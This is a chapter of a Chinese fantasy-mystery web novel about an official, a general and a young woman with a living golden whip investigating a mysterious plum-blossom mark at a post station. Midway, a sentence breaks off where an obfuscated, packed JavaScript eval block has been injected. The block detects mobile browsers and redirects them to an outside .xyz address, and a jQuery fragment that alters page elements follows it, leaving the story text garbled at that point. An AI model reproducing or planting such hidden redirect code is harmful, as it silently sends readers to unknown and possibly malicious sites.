日影西斜,晚霞浸染天际,如铺开金红绸缎一般。
瑰丽的天光云影中,驿路两侧,早已褪去嫩黄的杨柳,在晚风里摇曳翠绿新叶。
可惜这样的暮春美景,无人驻足欣赏。
众人都因燕将军的新发现在前厅门口聚拢。
他们细细搜寻了一天,爬上蹲下的,折腾得腰酸腿痛,倒是发现不少猫抓狗咬的痕迹。
眼见被召唤来辨认的墨少卿与东隅小郎君,从一开始的元气满满,渐渐变得麻木低落。
现下看她如此兴奋,众人满心的好奇中带了些较劲,燕将军无所事事地晃悠了一天,如何毫不费力就找到了?
嗯?一个梅花状的泥印子,还是在伸手都够不到的房梁上,确实稀奇。
狱卒燃起蜡烛,让画图的司直看得更清晰些。
待司直画完,一直盯着泥印子的东隅,突然对燕将军请求:“劳烦将军擦一下那个印子。”
燕将军人高马大,直接跳起擦了一下。
瞬间,他变了脸色。
他看了眼门口的方凳,那是方才司直为了观察更仔细搬来踮脚的,毫不犹豫地站了上去,仔细擦掉泥印。
围在中间的那群人,也好奇地伸长脖子,昏黄的灯光里,可以看到房梁上出现一个梅花形状的凹陷。
竟然不是普通的泥印子,而是有个坚硬的物件,用力撞上房梁,产生极大的冲力,在木质上留下梅花状凹痕。
燕将军细细摩挲着手指,凝神品了半晌:“那上面的泥正是驿站院子里的,事发当晚下雨,必是那夜沾上的。”
墨淮桑拧眉下令:“事不宜迟,眼下集中寻找这个五瓣梅印记,尤其是房梁,房柱上方,拿上蜡烛,都看仔细些。”
众人领命,又将驿站里里外外、上上下下都搜了一遍,直到夜幕降临,也没找到第二枚类似痕迹。
墨淮桑看了眼天色,暮色沉沉,晚来风里带着寒浸浸的冷意,转头吩咐收工,再找下去没有意义。
晚膳后,墨言去燕将军请来讨论案情。
燕将军踏进驿站二楼最大的客房,柏木案几被挪到屋子中央,面上摊着几份文书,还有半碗已经凉透的茶。
黑色的陶瓷茶碗里,茶汤表面凝着一层薄脂,如同一块成色驳杂的琥珀。
尽管透着廉价,恐怕这已经是驿丞能拿出来的最好器具和茶饼。
灯下风华俊雅的郎君,想必在自家府里,非琉璃茶盏不用,非玉盘珍馐不吃,此刻却坦然地坐在简陋的房间里,和他们一样用着粗茶淡饭。
经过这两日的相处,燕将军心底对纨绔少卿的鄙夷早已消失,取而代之的他尚未意识到的敬重。
他拱手一礼,在墨淮桑的示意下就坐。
讨论的焦点,自然是那个五瓣梅的印记,墨淮桑习惯性地敲着桌面,让在座诸位畅所欲言。
墨言抢先道:“我猜是某个家族的族徽,或者某个门派、武林高手的暗器。”
燕将军接口:“若是这样,那这位高手的功夫深不可测啊,轻功尤其出色,驿站有五十几个金吾卫,居然对此毫无察觉。但那人要怎么进陈刺史的房间呢?”
东隅提出质疑:“从各位的证词来看,从始至终,陈刺史房间的门、窗都没有打开过,房梁上的瓦片也没有移动的痕迹。
“假设真有这么个高手,那么有两种可能,一是那人速度快得不像话,几乎在眨眼间完成开门、进入、关门的操作。
“二是那人可以让时间暂停,从容地操作完一切,离开后再恢复时间。”
燕将军愣住,惊诧之色毫不遮掩地浮上脸面:“暂停时间?还有这种操作?”
东隅笑笑,再向燕将军抛下一个炸雷:“如果害陈刺史的是妖,就可以神不知鬼不觉地进去害人了。”
余光瞅见燕将军变幻不定的神色,墨淮桑促狭一笑,朝东隅努了努嘴:“那条懒蛇还在睡?”
话音刚落,从东隅袖中火速飞出一道金色线影。
燕将军被唬了一跳,立即将横刀拔出,严阵以待。
对峙了几秒,却发现所有人都很淡定,只有他茫然看着那道飞舞的金线,径直冲到墨淮桑前方停住。
原来是一条金色长鞭。
下一瞬,长鞭飞速舞出无数虚影,绕着墨淮桑转圈圈,像极了闲汉叨叨不停的嘴。
仿佛在愤怒回应:你才懒,你全家都懒。
东隅动了动念头,小金灵这才施施然地飘回她伸开的手心,头高高昂着,似乎在等那个说它坏话的人回应。
墨淮凉凉地赏了它一眼:“原来只是懒得出声。”
如今东隅跟小金灵的心灵感应越发灵敏,被小金灵的恼怒感染,东隅也撅起嘴,幽怨地看向墨淮桑。
嘴角掠过一丝笑意,他难得认真地扫了扫小金鞭:“嗯,我误会你了。”
小金灵这才矜持地点了点头,“咻”的一声又钻回东隅的袖中。
墨言目瞪口呆:“东隅小娘子,我没看错吧,那金鞭,好像……好像长出了黑色的眼睛?”
东隅淡定点头,显然对它的变化早已熟悉:“你没看错,从四方山回来之后就这样,不仅眼睛开始长了出来,身上也有细密鳞片的痕迹。”
她第一次发现时,用件衣裳裹着小金灵,火急火燎跑去太史局,以为它被妖邪之气浸染了。
薛老道长也被吓到了,那件法器是偶然得的,他没料到法器也会随着任务而跟着修炼。
“薛老道长说,眼下还不是它最终的样子,他也很好奇,它会长成蛇,还是蛟。”
“蛟?”墨言的眼睛发亮,“那它会越来越厉害喽?”
“照理说是的。”
墨淮桑破天荒地露出一瞬惊讶的神色,看向东隅的袖间。
东隅与有荣焉:“所以它若是没有动静,就说明方圆十里之内没有任何妖诡之气。”
她转向楞在原地的燕将军:“将军只管守好其余的犯人,如此,无论害人者是人是妖,我们都有方式对付。”
燕将军被一连串超出常识的事实连番轰炸,仿佛被五雷轰顶一般,见东隅冲自己说话,只是机械点头。
墨淮桑等着他消化完后回神,伸手去端茶碗,看茶汤上的一层薄脂,转而去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662837|164905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
取桌面的口供文书。
“还有个巧合的点。”东隅微微蹙眉,“融安县主也是暴毙,数天内接连两起暴亡案,这也太不寻常了吧?”
墨淮桑点头:“融安的尸身在运回封地的路上,就算还没下葬,吴郡王也断然不会让仵作验尸。”
“让他们去吴郡王封地查一下,融安之前是不是有过心疾或者类似症状。”
墨言领命。
墨淮桑看向豁然抬头的燕将军:“听明白了?”
燕将军面上的震惊尚未完全褪去:“少卿的意思是?”
“陈文斌之死不寻常,不排除有妖诡作祟,让你知晓,是为了引起你的重视,若后续有任何不寻常的地方,只管找来,我们之前经手过有关鬼和妖的案子。”
燕将军已经完全信服,他站起来恭敬一礼:“是。”
墨淮桑停下敲击桌面的手:“墨言去江湖上打听,有没有跟五瓣梅相关的门派或者武功路数,我们去薛老头那儿翻一翻妖物志,两个方向都要查。”
一锤定音。
隔天一早,燕将军过来辞行后,领着队伍正要出发。
东隅送到驿站门口,瞥了眼燕将军凝重的神色,斟酌道:“您别担心,我们会将此间的事详尽汇报上去,圣人是明君,在事情未查明之前,定不会责罚的。”
燕将军心头一暖,拱手告辞离去。
东隅经过大厅前门,想起房梁上的五瓣梅凹痕,脑子里突然有什么东西一闪而过,还差一点,就能拼出关键一环。
但是怎么都抓不住。
忽然,袖中的小金灵开始闹腾起来,在袖中叽里咕噜地翻转。
东隅纳闷,唤出小金灵。
只见它蜷成一团悬在空中不住地翻滚,头痛苦地左右摇摆。
东隅感受到它的困惑与挣扎,心急如焚间,她强自镇定下来,默念起清心咒,
渐渐地,小金灵停止翻转,头也不再摆动,仿佛摆脱了某种困住它的强大精神力。
它高昂起头,如黑曜石一般的眼睛骤然发亮,环视四周,突然朝正北方急速飞去。
“小金灵!”
东隅大叫一声,来不及跟墨淮桑说一声,也跟着追出。
远远看到小金灵飘在半空,弓起鞭身,一双闪光厉眼不住逡巡。
它陡然瞅准一个方位,俯身冲了下去。
东隅没有小金灵的高空视角,只能推测大致方位,待她冲过去,小金灵已经闪现另一处。
她能感应到小金灵在与什么缠斗,可不知为何,她忽然心慌意乱起来,额头渗出细密的冷汗,手心发凉,头也开始晕乎乎的,瞬间失去了方向感。
不好,貌似中招了,东隅咬紧下唇,勉力让自己保持清明。
不知是幻术还是妖术,绝对不是寻常的身体中毒。
身体发软,再也无力支撑,东隅倒在杂草丛里。
意识模糊中,她用心灵感应向小金灵发出求救信号。
似乎听到窸窸窣窣的声音从草丛传来,停在她的上方。
她费力地想睁开眼,却在下一瞬彻底失去意识。